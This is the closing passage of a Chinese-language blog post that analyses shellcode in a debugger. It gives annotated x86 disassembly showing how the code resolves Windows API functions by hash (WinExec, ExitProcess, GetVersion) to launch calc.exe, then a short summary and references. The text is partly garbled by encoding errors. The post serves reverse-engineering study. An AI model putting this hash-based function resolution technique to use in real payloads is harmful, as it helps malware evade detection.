00BE2F64?????? | 51?????????????????????? | push ecx???????????????????????????????? |構(gòu)造返回地址,返回到剛剛?cè)霔ash的地方的下一行,去找下一個(gè)函數(shù)來執(zhí)行

00BE2F65?????? | FFE0???????????????????? | jmp eax????????????????????????????????? |執(zhí)行函數(shù)

00BE2F67?????? | 5F?????????????? ????????| pop edi????????????????????????????????? | edi:_wWinMainCRTStartup

00BE2F68?????? | 5F?????????????????????? | pop edi????????????????????????????????? |還原保存的edi當(dāng)前模塊名Hash

00BE2F69?????? | 5A?????????????????????? | pop edx????????????????????? ????????????|還原保存的_LDR_DATA_TABLE_ENTRY中的鏈表節(jié)點(diǎn)地址

00BE2F6A?????? | 8B12???????????????????? | mov edx,dword ptr ds:[edx]?????????????? |讀取下一個(gè)節(jié)點(diǎn)

00BE2F6C?????? | EB 8D??????????????????? | jmp testmfc x86.BE2EFB?????????????????? |

00BE2F6E?????? | 5D????? ?????????????????| pop ebp????????????????????????????????? |獲取shellcode指令地址

00BE2F6F?????? | 6A 01??????????????????? | push 1?????????????????????????????????? |

00BE2F71?????? | 8D85 B2000000??????????? | lea eax,dword ptr ss:[ebp+B2]??????????? |獲取字符串“calc.exe”的地址(偏移指向shellcode末尾)

00BE2F77?????? | 50?????????????????????? | push eax???????????????????????????????? | push "calc.exe"

00BE2F78?????? | 68 318B6F87????????????? | push 876F8B31??????????????????????????? | Hash WinExec

00BE2F7D?????? | FFD5???????????????????? | call ebp???????????????????????????????? |保存當(dāng)前下一行地址,跳轉(zhuǎn)回去

00BE2F7F?????? | BB F0B5A256????????????? | mov ebx,56A2B5F0???????????????????????? | Hash ExitProcess

00BE2F84?????? | 68 A695BD9D????????????? | push 9DBD95A6????????????? ??????????????| Hash GetVersion

00BE2F89?????? | FFD5???????????????????? | call ebp???????????????????????????????? |跳轉(zhuǎn)去找到函數(shù)并執(zhí)行

00BE2F8B?????? | 3C 06??????????????????? | cmp al,6???????????????????????????????? |看返回結(jié)果是否小于6

00BE2F8D?????? | 7C 0A????? ??????????????| jl testmfc x86.BE2F99??????????????????? |小于6則跳轉(zhuǎn)

00BE2F8F?????? | 80FB E0????????????????? | cmp bl,E0??????????????????????????????? |判斷bl結(jié)尾是不是E0

00BE2F92?????? | 75 05??????????????????? | jne testmfc x86.BE2F99?????????????????? |不是則跳轉(zhuǎn),實(shí)際上是判斷是退出線程還是退出進(jìn)程

00BE2F94?????? | BB 4713726F????????????? | mov ebx,6F721347???????????????????????? | Hash RtlExitUserThread

00BE2F99?????? | 6A 00??????????????????? | push 0?????????????????????????????????? |參數(shù):0

00BE2F9B?????? | 53?????????? ????????????| push ebx???????????????????????????????? | Hash ExitProcess

00BE2F9C?????? | FFD5???????????????????? | call ebp???????????????????????????????? |調(diào)用ExitProcess(0)

00BE2F9E?????? | 6361 6C????????????????? | arpl word ptr ds:[ecx+6C],sp???? ????????|字符串“calc.exe”

00BE2FA1?????? | 632E???????????????????? | arpl word ptr ds:[esi],bp??????????????? | esi:_wWinMainCRTStartup

00BE2FA3?????? | 65:78 65???????????????? | js testmfc x86.BE300B??????????????????? |

完整反匯編分析注釋截圖版


總結(jié)

該shellcode的主要流程其實(shí)是下面那一小段,入棧函數(shù)參數(shù)和函數(shù)Hash,然后調(diào)用函數(shù)去搜索函數(shù)地址并調(diào)用,然后再用相同的方式調(diào)用下一個(gè)函數(shù),直到完成shellcode執(zhí)行的功能,通過對本例的分析,可以很清晰明了地了解shellcode是如何獲取函數(shù)地址的,以及如何調(diào)用的,也算是一次不錯(cuò)的反匯編練習(xí)

最后,感謝大家的瀏覽,如有問題歡迎師傅們指出、探討與交流~

參考資料

???????????[1]RE Corner - scdbg download (sandsprite.com)

(http://sandsprite.com/blogs/index.php?uid=7&pid=152)

???????????[2]https://raw.githubusercontent.com/avast/ioc/master/CobaltStrike/api_hashes/win10_api_hashes.txt

???????????[3]走進(jìn)shellcode - 安全客,安全資訊平臺 (anquanke.com)

(https://www.anquanke.com/post/id/264883)

???????????[4]LODS/LODSB/LODSW/LODSD/LODSQ — Load String (felixcloutier.com)

(https://www.felixcloutier.com/x86/lods:lodsb:lodsw:lodsd:lodsq)

???????????[5]匯編跳轉(zhuǎn)指令: JMP、JECXZ、JA、JB、JG、JL、JE、JZ、JS、JC、JO、JP 等_zmmycsdn的博客-CSDN博客_匯編jb(https://blog.csdn.net/zmmycsdn/article/details/78511948)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容